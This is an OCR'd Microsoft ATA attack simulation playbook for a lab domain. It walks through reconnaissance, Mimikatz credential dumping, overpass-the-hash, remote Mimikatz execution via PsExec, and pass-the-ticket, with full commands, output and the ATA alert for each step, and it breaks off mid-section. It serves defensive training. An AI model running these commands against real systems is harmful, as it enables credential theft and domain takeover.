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Reintroducing Credential Theft

Assume breach. These are the two words that kicked off Microsoft's Mitigating Pass-the-Hash

and Other Credential Theft' whitepaper, entirely focused on illustrating the credential theft
techniques used by malicious cyber actors. These techniques are used after the adversary has
achieved a beachhead in their victim's environment.

Attackers are in; our perimeter is breached. Our ability, however, to detect an adversary in our
environments after they've already circumvented our defense mechanisms remains limited. The
average cost of a cyber intrusion is estimated to be around $3.8M? for an enterprise, per incident.
Why is this so expensive? Many Information Technology (IT) organizations have no post-
infiltration detection capabilities and have slow and malformed responses.

Multi-factor authentication, Smartcards, Privileged Account Management tools have been sold to
solve this problem®. These tools certainly help operationalize the environments but these
solutions don't mitigate or provide visibility into credential theft itself* In fact, many
implementations of these solutions can make the credential theft problem space even worse while
at the same time providing a false sense of security.

To make matters worse, words like “pass-the-hash” and “credential theft” have morphed into buzz
words. They have become words that many hear about, and conceptually understand, but the
vagueness that still exists around them prevents us from being able to act urgently and
immediately.

This article will turn the buzz words into something real and tangible, walking through the
credential theft attack techniques themselves, by using readily available research tools on the
Internet. At each point of the attack we will show how Microsoft's Advanced Threat Analytics
(ATA)" helps IT organizations gain visibility into these post-infiltration activities happening in their
environments.

Ignorance can no longer be bliss.

" http://aka.ms/pthv2

2 Ponemon Institute Releases 2014 Cost of Data Breach: http://www.ponemon.org/blog/ponemon-institute-
releases-2014-cost-of-data-breach-global-analysis

3 http://aka.ms/smartcardpth

4 http://aka.ms/cyberpaw

> http://aka.ms/ata
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What is Advanced Threat Analytics?

Gaining visibility into the problem requires focused attention on a layer of the environment
typically not used for cybersecurity purposes: The Identity layer. Microsoft's Advanced Threat
Analytics (ATA) turns Active Directory into a powerful post-infiltration detection tool leveraging

both signature and user-and-entity-behavioral analytic techniques.

S %

Behavioral Detection of advanced Advanced Threat
Analytics attacks and security risks Detection

ATA will detect and alert IT of post-infiltration activities, from internal reconnaissance to
compromised credentials, including lateral movement, privilege escalation and domain
dominance.

This article will walk you through these techniques, the respective research tools to execute these
attacks yourself, and illustrate just how important getting ATA installed and configured is.
Defenders must fully understand our attackers and their tools.

This article focuses on ATA's signature-based capabilities and does not include any
advanced machine-learning user and entity behavioral detection.



| | NV T
| Microsoft Advanced Threat Analytics Attack Simulation Playbook

Lab Setup

We recommend following these instructions closely, including the experiments at the end. There
is some setting up to do, specifically 4 computers, 3 users and some research software to grab off
the Internet.

For help on installing ATA and getting an evaluation copy, good for 90 days, check this out:
http://aka.ms/ataeval. This guide was built for version 1.8 of ATA.

Servers and computers

The following lists the computers you will need and the configurations used in this exercise. These
are all staged as guest virtual machines (VMs) on Windows 10 Hyper-V. If you go this route, and
we recommend you do, make sure the VMs are placed in the same virtual switch.

FQDN (ON) IP Purpose
DC1.contoso.local Windows Server 2012 192.168.10.10 @ Domain Controller with ATA the
R2 Lightweight Gateway (LWGW)

installed

ATACenter.contoso.local Windows Server 2012 192.168.10.20 ATA Center
R2

Admin-PC.contoso.local Windows 7 Enterprise 192.168.10.30  Admin’s PC

Victim-PC.contoso.local ~ Windows 7 Enterprise 192.168.10.31  Victim’'s PC

Our domain will be called "CONTOSO.LOCAL", so create the domain, then domain join these
computers and let's get rolling.

Now that all four machines up and domain joined, let's add some fictitious users to the
environment.
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User Setup

In this exercise, you will create role separation between Helpdesk and Domain Administrators.
Unfortunately, as you will see, this isn't enough to prevent credential theft, lateral movement or
domain escalation because understanding security dependencies that transcend these two groups
across an environment is tricky.

Let's create a security group to make the separation.
Name Members Purpose

Helpdesk RonHD Manages the clients of contoso.local.

Let's create three users in the domain:

Full Name SAMAccount Purpose

Jeff Victim JeffVv The victim of yet another impressively effective spear
phishing attack

Ron HD RonHD Ron is the "go-to-guy” at Contoso’s IT shop. RonHD is
a member of the “Helpdesk” security group.

Nuck Chorris NuckC Before now, believed not to exist. At Contoso, he
happens to be our Domain Admin.

Before proceeding, ensure RonHD was added as a member to the Helpdesk Security Group.
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Nuck Chorris, our Domain Admin, uses Admin-PC.  Administrators Properties 7=
The Helpdesk (that RonHD is a member of) also %= |
manages NuckC computer. This can be quickly % Administrators
configured via Restricted Groups®.
Description: Administrators have complete and unrestricted access
to the computer/domain
Members:
& Admin
& pdministrator
& andrew
£, CONTOS0\Domain Admins
82, CONTOSO\Helpdesk
Changes to a user's group membership
Remove are not effective urtil the next time the
user logs on.

Administrators Properties (==

Description Administrators have complete and unrestricted access
to the computer/domain

Members:

& Admin
A Administrator
#2, CONTOSO\Domain Admj

$2, CONTOSO\Helpdesk

& CONTOSO\eAV \

Changes to a user’s group membership

Remave are not effective until the next time the
user logs on.

ok J [ conct ][ o

In addition, like in many IT shops, JeffV was added as
an Administrator on his own device (Victim-PC). This
was done on purpose and will be explained further in
the Help Desk Simulation assumption in this article. .

6 https://support.microsoft.com/en-us/kb/279301
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Security research tools

1. To set up the lab, install these research tools on Victim-PC, in C:\tools:
o Mimikatz: https://github.com/gentilkiwi/mimikatz

PowerSploit: https://github.com/PowerShellMafia/PowerSploit

O
o PsExec: https://technet.microsoft.com/en-us/pxexec
o NetSess.exe: available at www.joeware.net/freetools

Computer » Local Disk (C) » tools »

Include in library « Share with = Mew f
Mame
. mimikatz
5 PowerSploit-master
ces | SysinternalsSuite
B MetSess

2. For this proof of concept, turn off all antivirus software.

These tools are for research purposes only. Microsoft does not own these tools nor can it
guarantee their behavior. These tools should only be run in a test lab environment.

Although turning off antivirus might seem like this just skewed the results, it is important to note
that the source code for these tools is freely available, which means attackers can modify it to
evade antivirus signature based detection. It is also important to note that as soon as an adversary
achieves local admin on a machine, evasion of antivirus becomes very possible. The goal at that
point is protecting the rest of the organization. One computer compromise should not lead to
domain escalation and certainly not domain compromise!
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Assumptions

In our example, JeffV is an admin of his own workstation. Many IT shops still have their user-
population running with admin privileges. In these scenarios, local escalation attacks aren't
necessary as the adversary already has admin access in the environment from which to perform
their post-infiltration operations.

However, even when IT shops reduce the privileges to using non-admin accounts, other forms of
attacks (such as known application vulnerabilities, 0-days and such) are executed to achieve local
privilege escalation. In this case, our assumption is simple: The adversary achieved local privilege
escalation on Victim-PC. As we will discuss below, in our fictitious lab, this was achieved via a
spearphishing email to JeffV.

Environment Topology

1[’_ =

V- N
Jeff Victim Victim-PC \ @ Domain Controller
(JeffV) " I (DC1)

v_4 '/ Ron Helpdesk -
(RerHE) —

Admm PC ATA Center

Nuck Chorris
(NuckC)

Your lab now looks something like the above. Again, we have role separation between Domain
Admins and the helpdesk, but as you will see, one security dependency linkage (sorry RonHD) is
all an adversary needs to take over the entire environment with readily available research tools.

10
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Helpdesk Simulation

To simulate a common helpdesk scenario, in which helpdesk personnel are 1 Switch user

logged into different computers, log in with RonHD to Victim-PC and then t°9k°ff
. o —
log back in as JeffV. Use the “switch user” mechanism to simulate privileged c
Restart

credential management on this workstation.

We could have chosen other ways to simulate this management workflow in our lab, such
as creating batch script service accounts, scheduled tasks, an RDP session or ‘runas’ in the
command line. At the end of the day, something (not always a someone) has to manage
these resources and management means local admin privileges. We chose the quickest
route to simulate this workflow.

Do not log out or restart Victim-PC as this will wipe RonHD's credentials from memory and require
re-enacting the helpdesk scenario.

Computer Credentials saved on computer

Admin-PC e NuckC

Victim-PC o JeffV
e RonHD (Caused by enacting the helpdesk
scenario)

The lab is now ready. The hard part is over—the pieces are in place and the lab is in a position
where it is one-exploit-away (#1ea) from domain compromise. As you will soon see, the single
compromise typically comes from your environment's lowest privileged assets against the most
Internet facing applications from an adversary who just won't stop. And you have to assume a
breach took place.

11
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Beachhead via Spearphish

In Microsoft's Security
Intelligence Report Volume
21%, two different actor groups
were discussed, PROMETHIUM
and NEODYNIUM. Both of

activity groups take part in

spearphishing to gain a
foothold in their target
environments. Why?

We could have chosen

multiple scenarios to establish

this pseudo-adversary’s

command-and-control in our lab, but we're starting with spearphishing.

The question remains—how can you gain visibility into the post-infiltration activity of the
adversary after they've achieved this beachhead? How can you gain visibility into these activities

Fwd: traon

= i

File Message ' Tell me what you want to do

Janie Lamountain

Fwd: traon

Scan_traondoc

M| ke

Dear traon,

You will be charged USD 2,256.14 on your Visa card soon.
View attachment for details,

Pwd to open the file is 6666

Faithfully yours!
Claudette

before the larger herd is affected?

7 https://www.microsoft.com/security/sir/default.aspx

12
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Executing the attack

Now the fun begins. Its time use real-world tools and simulate the post-infiltration activities of
an adversary.

Reconnaissance

Once a human adversary gains presence in an environment, reconnaissance begins. At this phase,
the adversary spends time researching the environment: discovering settings, computers of
interest, enumerating security groups and other active directory objects of interest, etc. to paint a
picture for themselves of your environment.

DNS Reconnaissance

One of the first things many adversaries will do is to try to receive all the contents of the DNS.
ATA can detect this action.
1. Action: DNS Recon

On Victim-PC, logged in as JeffV, the PC and user whom the adversary just compromised, run the
following commands:

nslookup
ls -d contoso.local

[ Luckily, our DNS is configured to block this DNS

Command Prompt - nslookup

Microsoft Windows [Uersion 6.1.76011 i i
(:Sﬁlﬁjgm <;'§ ?:Ew; n‘ii,-éflﬁf-t Corporation. All right dump against the  domain. Unfortunately’

though, all too often, this event gets ignored or
is lost in the network noise, preventing network
defenders from realizing that an adversary has

| —d_contoso.local

[UnKnown J
't list domain contoso.local: Query refused

NS server refused to transfer the zone contoso.

reached some level of access in their
environment and is in the beginning phases of

; correct,. check the zone transfer security setti
server at IP address 192.168.18.18. a more targeted attack.

>

ATA helps detect this and bring it to light (as it
does with all post-infiltration activity). Since ATA continuously parses your DNS traffic, it can see
the dump request, whether it is successful or not. It even gives you the ability to learn from this
event in the future, in case the suspicious activity is legitimate, and coming from an approved DNS
scanning device.
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Look at the ATA dashboard and see what ATA tells you.

OPEN

Reconnaissance using DNS =
Suspﬁ@ous DMS activity was observed, originating from VICTIM-PC (which is not a DN5 server) against CONTOS0DCT.

Click on the suspicious activity and you will see additional details.

OPEN

Reconnaissance using DNS

Suspicious DNS activity was observed, originating from§VICTIM-PC fwhich is not a DNS server) against DC1.
4:25 AN

VICTIM-PC oc1

E — 1 attempt @ ConnectionRefused L\g 61

Note: For additional information about the alerts raised by ATA, see the ATA Suspicious Activity
Guide, http://aka.ms/atasaguide.

Note: In the real world if the security analyst determined that this was originating from a security
scanner, you can exclude this device from further alerts for this detection. Click on the three dots
and select Close and exclude Victim-PC.

The adversary, blocked from what would have been a big win for them: doing a DNS dump, turns
to other reconnaissance techniques.

Detecting failures can be just as insightful as detecting successful attacks against

an environment

14
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Directory Services Enumeration

Security Account Manager Remote Protocol (SAMR) ¢ provides management functionality for
users and groups across a domain. Knowing the relationship between users, groups, and
privileges can be extremely important to an adversary. Any authenticated user can execute these
commands’.

Enumerate all users and groups

Enumerating users and groups is very useful to an adversary. Knowing usernames and the names
of groups can come handy. As an attacker, you want to grab as much as you can, after all, this is
the reconnaissance phase.

2. Action: Enumerate users and groups

Use the compromised JeffV account, logged onto Victim-PC, and try to pull all the domain users
and groups by using the following commands:

net user /domain
net group /domain

IC:\Users\jeffulnet user ~sdomain
The request will be pro 'éd at a domain controller for

User accounts for “\\DCl.Contoso.local
ataservice

krbtgt

NjeffuPnet group sdomain )
est will bhe proc d at a domain controller for domain Con

iGroup Accounts for \\DCi.Contoso.local

#Cloneable Domain Controllers
*DnslUpdateProxy
*Domain Admins

e Read-only Domain Controllers
icy Creator Ouners

S a Admins
[The command completed successfully.

8 https://msdn.microsoft.com/en-us/library/cc245477.aspx

° For more information on SAMR settings and restricting such reconnaissance to only users who are
members of the Local Administrators Group, please refer to:
https://gallery.technet.microsoft.com/SAMRi10-Hardening-Remote-48d94b5b#content

15
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That was too easy. These are operations performed with legitimate credentials! The attacker now
knows all the users and groups in the environment.

Important:

ATA 1.8 will learn the use of the “Net user and Net group” commands for a period of four weeks.
During this period, you will not see alerts for "Reconnaissance using directory services queries”.
After the 4-week period you may see an alert similar to the one below.

Reconnaissance using directory services queries

The following directory services queries using SAMR protocel were attempted against DC1 from VICTIM-PC:
o Succ

ul query sbout 2 sensitive users in Contoso.Local

o Successiul query abo

omain Admins in Contoso.Local

Jeffv VICTIM-PC Dl

y Query sensitive user q
efY ¥ e e

g =By ’ Administrator @ Success L\ B
. Query sensitive user & ol
g L ’ Huck Charris @ Success DG Be
4 Query sensitive group R
Jeffv icce: Do

2 - ’ Domain Admins @ success l\g g

Enumerate high privileged accounts

The attacker now holds both the user list and the group list. But knowing who is in which group

is also important, specifically for highly privileged groups such as “Enterprise Admins” and
“Domain Admins”. Let's do just that...

3. Action: Enumerate Domain Admins

Run the following command, on Victim-PC as JeffV:

| net group “domain admins” /domain

16
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C:\Users\jeffupnet group "domain admins' /domain
The request will be processed at a domain controller for domain Contoso.local.

Group name Domain Admins
Comment Designated administrators of the domain

Njef fuduhoami
Jjeffu

The attacker now has all the users and groups, and knows which users belong to the highly
privileged "Domain Admins” group.

The attacker won't stop there, they know there is no security boundary between Enterprise Admins
and Domain admins', so they'll grab the Enterprise Admins list as well.

4. Action: Enumerate Enterprise Admins

To grab the members of this Enterprise Admins group, run the following command on Victim-PC:

net group “enterprise admins” /domain

C:\Users\jeffulnet group “enterprise admins"' /domain
The request wilT be processed at a domain conlrolilier for domain Contoso.local.

Group name Enterprise Admins
Designated administrators of the enterprise

The command completed successfully.

There is a single account in the Enterprise Admins group—not exactly interesting since it is just
the default, but the attacker has that much more knowledge into your accounts and has identified
which user they most want to compromise.

SMB Session Enumeration

The attacker knows who they would love to compromise to get the most credentials but they
don't exactly know how to compromise those credentials, right? SMB enumeration can provide a
precise location for where these highly interesting accounts are exposed.

All authenticated users must connect to the domain controller to process Group Policy (against
the SYSVOL) making SMB Enumeration a valuable tool for attackers. This makes domain
controllers prime targets to perform SMB Enumeration against.

9 For more information on security boundaries between Forests and Domains, Enterprise Admins and
Domain Admins, and other “Tier-0"-level privileges, please refer to: http://www.aka.ms/tierQ

17
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Here you will use the first research tool pulled from the Internet, NetSess. NetSess is a command
line tool to enumerate NetBIOS sessions on a specified local or remote machine. You, of course,

will use it against the domain controller in your lab.

5.

Action: Perform SMB Session Enumeration against the DC

To enumerate who's connected to a specific machine, in this case the DC, on Victim-PC, go to the
location where NetSess is saved locally and run the following command:

NetSess.exe dcl.contoso.local

c :\toolsJINetSess.exe dcl.contoso.local

NetSess UB2.00.080cpp Joe Richards

Enumerating Host: dclg®Ontoso.local

N\\\192.168.10.30
N\\\192.168.16.31

NuckC
JeffU

Total of 2 entries enumerated

(joelPjoeware.net) January 2004

Idle Time

AnA:00:14 VPA:00:14
PRR:00:00 VRA:00:00

We already know that NuckC is a Domain Admin. You now know the IP address of NuckC

(192.168.10.30).

This kind of reconnaissance is hard to detect with firewalls—SMB protocol is how IT shops work
and a protocol that Active Directory relies on. However, with ATA, not only can this SMB Session
Enumeration be detected, but an alert will notify you as to which accounts were exposed.

Reconnaissance using SMB Session Enumeration

SMB session enumeration attempts were successfully performed byilefﬂ.‘. from VICTIM-PC against DCT, exposing 2 accounts.

el

Jeffy

]

VICTIM-PC

@ Success

g

Exposed Accounts

2 exposed accounts

JAY

DC1

[}3 ncl

nucke
on 182 1651030

E
E!

jetfv
on 192.168.10.31

ATA allows you to get the same relevant data that the attacker did—it identifies the source
account, the source computer, as well as the exposed accounts and the IP addresses at the time

of adversary enumeration.

The more data you have, the better prepared you are to respond to attacks.
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Lateral Movement

In just the few steps you took, you were already able to gain a lot of information. At this point,
the goal becomes getting to the IP address you discovered: 192.168.10.30 (where NuckC's
computer credentials are exposed).

Enumerate Credentials In-Memory

Victim-PC isn't just exposed to JeffV's credentials, there are many other accounts that might be
useful to an attacker to discover. Let's enumerate those in-memory credentials on Victim-PC.
Luckily, there is a tool for that: Mimikatz.

6. Action: Dump credentials from Victim-PC

From an elevated command prompt on Victim-PC, go to the tools folder where Mimikatz is saved
and execute the following command:

mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit” >> c:\temp\victim-pc.txt

-

M Administrator: C:\Windows\system32\cmd.exe = H£5_|

c :\tools\mimikatz\Win32>vhoami
contosoNjeffu

m| »

csN\tools‘\mimikatz\Win3dZ2 mimikatz.exe "'privilege::debug” "sekurlsa::logonpass

exit' >> c:\temp\victim—pc.txt

c :\tools\mimikatz\Win32>

The above command will execute Mimikatz which will then harvest credentials in-memory. The
tool will write this into a text file named "victim-pc.txt”.

Open the file "victim-pc.txt” to see what you can find.

7. Action: Parse through Mimikatz's credential dump output
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Open the file, “victim-pc.txt” in notepad. Your file will look different as different passwords were

used, potentially different operating systems with default settings on/off, so don't be alarmed if

it doesn’t look exactly like this example.

ession

Iser Name
omain

ogon Sserver
ogon Time
30}

: phkecactive from 1
s

: "CONTOS0

1 DC1

: 12/19/2016 3:13:47 PM

: 5-1-5-21-1384478862-1549519030-2974249381-110

msv :
[00000003] Primary

* Username :

Jeffv

* pomain : CONTOSO

. M . g 6241029

* NTLM -

* SHAl 8e6
tspkg :

* username : Jeffv

* Domain : LONTOSO

* password : d
wdigest :

* Username : Jeffv

* pomain : CONTOSO

* password : Password$fun
kerberos :

* username : Jeffv

* pomain

ot H SRS

: CONTOSO. LOCAL
* password :

pPassword$fun

wthentication 1d :
jession

0 ; 996 (00000000:000003e4)

: service from 0

Iser Name : VICTIM-PCS

omain : CONTOSO

.ogon Sserver : (null)

.ogon Time : 12/19/2016 3:12:16 PM
yID : §-1-5-20

SV @
[00000003] Prim
* Username :

* pomain

* NTLM

* SHAl
tspkg :
wdigest :

* Username : VICTIM-PCS

* pomain : CONTOSO

* password : LOP[vZ-el"]T7vy, $Abzlgp[y@EI#:dvo+4KdSy-
kerberos :

* yUsername : victim-pc$

* pomain : CONTOSO. LOCAL

* password : LOP[vZ-el"]T7vY,$Abzlgp[y@El#:dvo+4KdSy-
ssp

e

The attacker found JeffV's credentials, which will allow them to masquerade as JeffV.

The attacker also found the computer account, which, like a user account, can be added to other

computers’ Local Admin Group and other highly privileged Security Groups. That isn't useful in

this scenario, but you should always remember that Computer Accounts can map to privileges

elsewhere as well.

Autnentication ia :
session

U § 3£4458Z (UUULLLL

: Interactive from 2

user Name : ronhd

pomain : CONTOSO

Logon Server : pcl

Logon Time : 12/19/2016 4:43:35

i 5-1-5-21-1384478862

vivvvsecio)

PM
-1549519030-2974249381-1112

tspkg :

* uUsername : RONHD

* pomain : CONTOSO

* password : FightingTiger$
wdigest :

* Username : RONHD

* pomain : CONTOSO

* password : FightingTiger$
kerberos :

* Username : RONHD

* pomain  : CONTOSO.LOCAL

* password : FightingTiger$
ssp :

e, IR

20

The attacker also discovered a potentially
interesting account, RonHD. Remember that
RonHD was logged on to Victim-PC during
the setup phase. That credential was exposed
to the LSA process in-memory at that time,
which Mimikatz just gave the attacker visibility
to. RonHD wasn't listed when you
enumerated against users in Domain Admins
or Enterprise Admins, but remember that you

now have access to his credentials.
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It is also worth noting that in some cases, this Mimikatz dump might reveal plaintext passwords,
when the environment is not updated or not configured to prevent WDigest. An up-to-date
environment, following best practices, will return an empty Password field."

Finally, before you use RonHD's account let's see if it's even of any value. Let's do some recon
against that account.

8. Action: Perform recon against the RonHD account

From the command line of Victim-PC, execute the following:

| net user ronhd /domain

User name RonHD

Full Name Ron HD

Comment

User’s comment

Country code 88 (System Default)
Account active Yes

Account expires Never

last set 12/19/2016 2:89:56 PM
expires ever
changeable 12,20,2016 2:89:56 PM

required Yes
change password Yes

Mlorkstations allowed All

Logon script

User profile

Home directory

Last logon 12/19/2016 4:43:35 PM

Logon hours allowed All

Local Group Memberships
Global Group membershi *He 1pdesk *Domain Users

The attacker will learn that RonHD is a member of the Helpdesk. RonHD's account just became
interesting to the attacker. However, further more analysis is needed to see if the account has
admin privileges on other computers. After all, it would make little sense to use it to laterally move
to another computer only to discover that it has lower privileges than what the attacker already
has.

Note: After the 4-week learning period this action may generate a “Reconnaissance using directory
services enumeration” alert.

9. Action: Enumerate a remote computer’'s memberships

Here is where you turn to PowerSploit, a series of PowerShell modules used by penetration
testers. Open a PowerShell session and traverse to the location where PowerSploit is saved locally
on Victim-PC. In the PowerShell console, execute:

" For more information on WDigest, please refer to:
https://blogs.technet.microsoft.com/kfalde/2014/11/01/kb2871997-and-wdigest-part-1/
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Import-Module .\PowerSploit.psml
Get-NetLocalGroup 192.168.10.30

In the first line, you import the PowerSploit module into memory and in the second line you
execute one of the provided functions provided by that module, in this case, Get-NetLocalGroup.

PS C:\tools\PowerSploit—master> Import—Module .\PowerSploit.psml
PS C:\tools\PowerSploit—master> Get—NetLocalGroup 192.168.10.30

ComputerName : 192.168.16.30

: Admin—-PC/Administrator

: False

: False

= §-1-5-21-257278071-4201700771-1839282192-500
Description : Built—in account for administering the computer/domain

PudLastSet : 11/28/28108 4:56:34 PM
PudExpired : False m
pite i Session,
s : True
LastLogin : 11/28,/2010 4:48:12 PM m

ComputerName :_192 168 1A _3A
] Admin—PC/Admin
= rFalse
: False
: §-1-5-21-257278071-4201700771-1839282192-1000

PudLastSet : 12,/15,2016 1:58:59 AM
PudExpired H

UserFlags

Disabled H

LastLogin : 12/15,2016 ?7:81:09 PM

ComputerName : 192.168.10.30

:lLontoso.local/bomain Hdmins

: lrue

: True

: §-1-5-21-1384478862-1549519038-2974249381-512

Description
Disabled

= 192 168 1@ 374

x| Contoso.locals/Helpdesk
L rue

: True
: 8§-1-5-21-1384478862-1549519030-2974249381-1115

PudLastSet
PudExpired
UserFlags

Again, 192.168.10.30 is the discovered IP address from the SMB Enumeration phase (page 18 of
this document).

The attacker just found the following:

e 192.168.10.30 is connected to Admin-PC (we resolved the IP address to a computer name
via PowerSploit as well)

e "Contoso.local/Domain Admins” and “Contoso.local/Helpdesk” are members of the
Administrators Group

RonHD is a member of the Helpdesk group, therefore RonHD can give the attacker Admin
privileges on Admin-PC (where the attacker knows NuckC is, from earlier reconnaissance).

22




[} .
[ Microsoft Advanced Threat Analytics Attack Simulation Playbook

The attacker used this graph-like thinking is to discover relationships in the network. This kind of
mentality is something that defenders need to adopt to handle new threats to enterprise
networks.

This is all great, but how do you use RonHD to laterally move?

OverPass-the-Hash

If the attacker is in an environment that did not disable WDigest, it is already game over as they
have the plaintext password. But, in the spirit of learning, let's make it harder and assume you do
not know/have access to the plaintext password.

NOTE: This is a good time to take a minute and make sure your IT department has disabled
WDigest'? .

So, with just access to the NTLM hash of RonHD, what can you do?

Using a technique called Overpass-the-Hash you can take the NTLM hash and use it to obtain a
Ticket Granting Ticket (TGT) via Kerberos\Active Directory. With a TGT you can masquerade as
RonHD and access any domain resource that RonHD has access to.

10. Action: Perform Overpass-the-hash attack against RonHD

Here you will be using Mimikatz again. Copy RonHD'’s NTLM hash from victim-pc.txt, harvested
earlier (from “Action: Dump credentials from Victim-PC" on page 19).

On Victim-PC, go to the location where Mimikatz is stored on the filesystem and execute the
following commands:

Mimikatz.exe “privilege: :debug” “sekurlsa::pth /user :RonHD /ntlm: [ntlm hash]
/domain:contoso.local” “exit”

Replace the [ntlm hash] with the pasted NTLM value from victim-pc.txt from step 7.

12 https://blogs.technet.microsoft.com/kfalde/2014/11/01/kb2871997-and-wdigest-part-1/
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tools\mimikatz\WinJdZ-omimikatz.exe privilege--debuyg sekurlsa-:-pth /user-
/ntlm:96def1a633fc6790124d5f8fe21cc?2b /domaln contoso.local" ”ex1t”

IEisi2:20 mimikatz 2.1 (x86> built on Nov 26 2016 82:28:17
i~ ##. YA La VUie, A L’Amour"
Bt 7/ N B e e
it N\~ Hun Benjamin DELPY ‘gentilkiwi' <( benjamin@gentilkiwi.com )
THE v HEW’ http://blog.gentilkiwvi.com/mimikatz (oe.eo)
‘HunHN’ with 20 modules »* »* »/

imikatz{(commandline) # privilege::debuyg
Privilege ’28° OK

mimikatz{(commandline) # sekurlsa::pth /user:RonHD /ntlm:96def1a633fc6790124d5f8f

e21cc?2b /domain:contoso.local
: RonHD
: contoso.local
: cmd.exe

:_no
1| 96def1a633fc6790124d5f8fe21cc?2hb

2268

2236
LSA Process is now RV
LUID 8 ; 925010 <(ABKAANAA:ABBel1d52)
msvl_0@ - data copy @ 885D8284 : OK *
kerberos — data copy @ @12EBFF8
aes256_hmac => null
aes128 hmac =2 null
rc4_hmac_nt OK
rc4_hmac_old OK
rc4_md4 OK
rc4_hmac_nt_exp OK
rc4_hmac_old _exp OK
*Password replace —> null

/ / emeacece

/N 7777V 71 |

(I I I I

A new command prompt session opens. This new command prompt injected RonHD's credentials

into it!

Let's validate this and see if you can read the contents of the C$ of the Admin-PC, something JeffV

the user should not be able to do at all.
11. Action: Read Admin-PC’'s C$ with RonHD's credential

From the new command prompt, run the following command:

| dir \\admin-pc\c$

C:\Windows\system32pdir \\admin—pc\c$
Uolume in drive \\admin-pc~cy has no labhel.
Uolume Serial Number is A86A-3B76
Directory of “\\admin—pc\c$

06/18,/2009 H PM 24 autoexec.bat

96/18,2009 H PM 10 config.sys
07,/13,2009 s PM <DIR> PerfLogs
H4/11/2011 H PM <DIR> Program Files
12/15/2016 - AM <DIR> Users
12/15,/2016 - PM <DIR> Windows

2 File<(s) 34 bytes

4 Dirds) 129,021,943.808 bhytes free

Yep, you have access to the C drive of Admin-PC!

Now, let's just drill the point home. Let's validate that the new command-prompt you have open

injected RonHD's ticket and you didn't just misconfigure JeffV to have read rights.

12. Action: Inspect tickets in Overpass-the-hash command prompt
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From the new command prompt that opened from the Overpass-the-hash attack, execute the
following:

| klist

C:\Windows\system32>klist
Current Logonld is @:8xel1d52
Cached Tickets: (2)

Ha> Client: RonHD (G CONIOSO LOCAIL
server: krbtgt/CONIOSO.LOCHL ¥ CONIOSO.LOCAL

KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

TiCKkel Flags Ux4velovdy -, Iforwardable renewable initcial pre_authent nam
e_canonicalize

Start Time: 12,/19,/2016 22:22:28 (local)

End Time: 12/20,2016 8:22:28 (local)

Renew Time: 12/26,2016 22:22:28 (locald

Session Key Type: RSADSI RC4-HMACCNT)

Yep, you are acting as RonHD in this command prompt which validates that you used his
legitimate credential to gain access to his own Admin-PC!

Unusual protocol implementation

Ron HD successfully authenticated from VICTIM-PC against DC1 using an unusual protocol implementation. This may be a
result of malicious tools used to execute attacks such as Pass-the-Hash and brute force.

a L - A

Ron HD VICTIM-PC DCl

& ronvp ® Success Z\r, DC1
¢

bl E
REfDeros (Trathc)

So, what does ATA see when all this happens? Because Overpass-the-hash uses NTLM, and thus
RC4, it shows up as an “unusual protocol implementation”. Thus, from the defender’s perspective,
you will learn that on Victim-PC, RonHD's account successfully authenticated against our domain
controller. You could then start our investigation.
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Domain Escalation

The attacker now has access to Admin-PC, a computer that from earlier reconnaissance was
identified as a good attack vector to compromise the high privileged account NuckC. The attacker
now wants to move into Admin-PC, escalating their privileges within the domain.

Harvest Credentials

Performing a Pass-the-Hash attack will allow us to move to Admin-PC. You will need to move
attacker tools to it however, first, specifically Mimikatz and PsExec.

13. Action: Execute Mimikatz against Admin-PC

From the new command prompt, running in the context of RonHD, go to the part of the filesystem
where Mimikatz is located from that library. Run the following commands:

xcopy mimikatz \\admin-pc\c$\temp

Next, execute MimiKatz remotely to export all Kerberos tickets from Admin-PC:

psexec.exe \\admin-pc -accepteula cmd /c (cd c:\temp "& mimikatz.exe ‘“privilege::debug”
“sekurlsa::tickets /export” “exit”)

As we are only interested in NuckC's tickets we will only copy those tickets back to Victim-PC:

copy \\admin-pc\c$\temp\*nuckc* c:\temp\tickets

Clean up time. Now that we are done with the Admin-PC lets delete the files we copied over and
the exported tickets.

rmdir \\admin-pc\c$\temp /s /g

What just happened?

The attacker successfully copied the Mimikatz tool over to Admin-PC. They successfully executed
Mimikatz remotely, exporting all Kerberos tickets from Admin-PC. Finally, the attacker copied
back the results to Victim-PC, and now has NuckC's credentials without having to exploit his
computer!

Cc :\toolsNsysinternalssulte sPskxec.exe \“\admin—pc —accepteula cmd ~/c (cd c:\temp
Ll " " s i
C exit"'>

“& mimikatz.exe “privilege::debug sekurlsa::tickets /Zexport' “&
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» Computer = Local Disk {C:) » Temp = etz

=101 x|

M Comouter
&, Local Disk (C)

Pass-the-Ticket

What can you do with these tickets? You can pass them, literally, into memory and use them to

gain access to resources as if you were NuckC.

The attacker is ready to import them into Victim-PC's memory, to get the credentials to access

sensitive resources.

14. Validate you do not have domain admin level access to the domain controller

Execute the following from a command prompt.

Organize +  Indude infbrary - Share with +  Mesw folder _ -.J
Favorites L ] Date modifed ] Type I
B Desktop L [0 1R 3]-0-0-40a 50000 nucke Bcifs-do 1 contoso. Jecal kirki 10212017 42 AM FIRE] Rl
@ Downloads [0; 1523} -0- 1-30a 50000 -nucke SLOAP-dc L Contaso. Lecal kirki 10272007 4142 AM KIREL File
(| Recent Places | [071df23] - 2-0-50a 10000 nucke Skrbigt-CONTOS0 LOCAL Jarbi 10/2/2017 442 AM KIRBL Fle
| [0;1483]-2-1-40e 10000-nucks Bkrbigt-CONTOS0 LOCAL kirki 10/2/2017 442 AM VIRBI Fle
44 Lbranes
<] Documents
@' Music
e=| Puctures L i =
B Videos

| Dir \\dcl\c$

B-HMAC-5HAL-Y6
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authent n

e dnitial pre_authent

—HHAC-SHAL-96

As you can see you are using the tickets for JeffV and JeffV does not have access to the root of
the C: Drive on DCT1.

15. Action: Pass-the-Ticket

From an elevated command prompt, where Mimikatz is located on the filesystem, execute the

following:

| mimikatz.exe “privilege::debug” “kerberos::ptt c:\temp\tickets” “exit”
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c:stoolssmimikatzs\Win32 >mimikatz.exe "

privilege: :debug" "kerberos::ptt c:iNtemp™
qickets" "exit"

. mimikatz 2.1 (x86)> built on MNov 26 2816 B2:28:17

i~ #it. A La Vie, A L'Amour”

it ~ N it o sx o= ox

it N o Hi Benjamin DELPY ‘gentilkiwi® ¢ benjaminPgentilkiwi.com >

‘Hit v HHY http:/sblog.gentilkivi.com/mimikatz (oe.eo?

' g’ with 20 modules = = *x/

mimikatz{commandline? # privilege::debug
Privilege ‘28°' OK

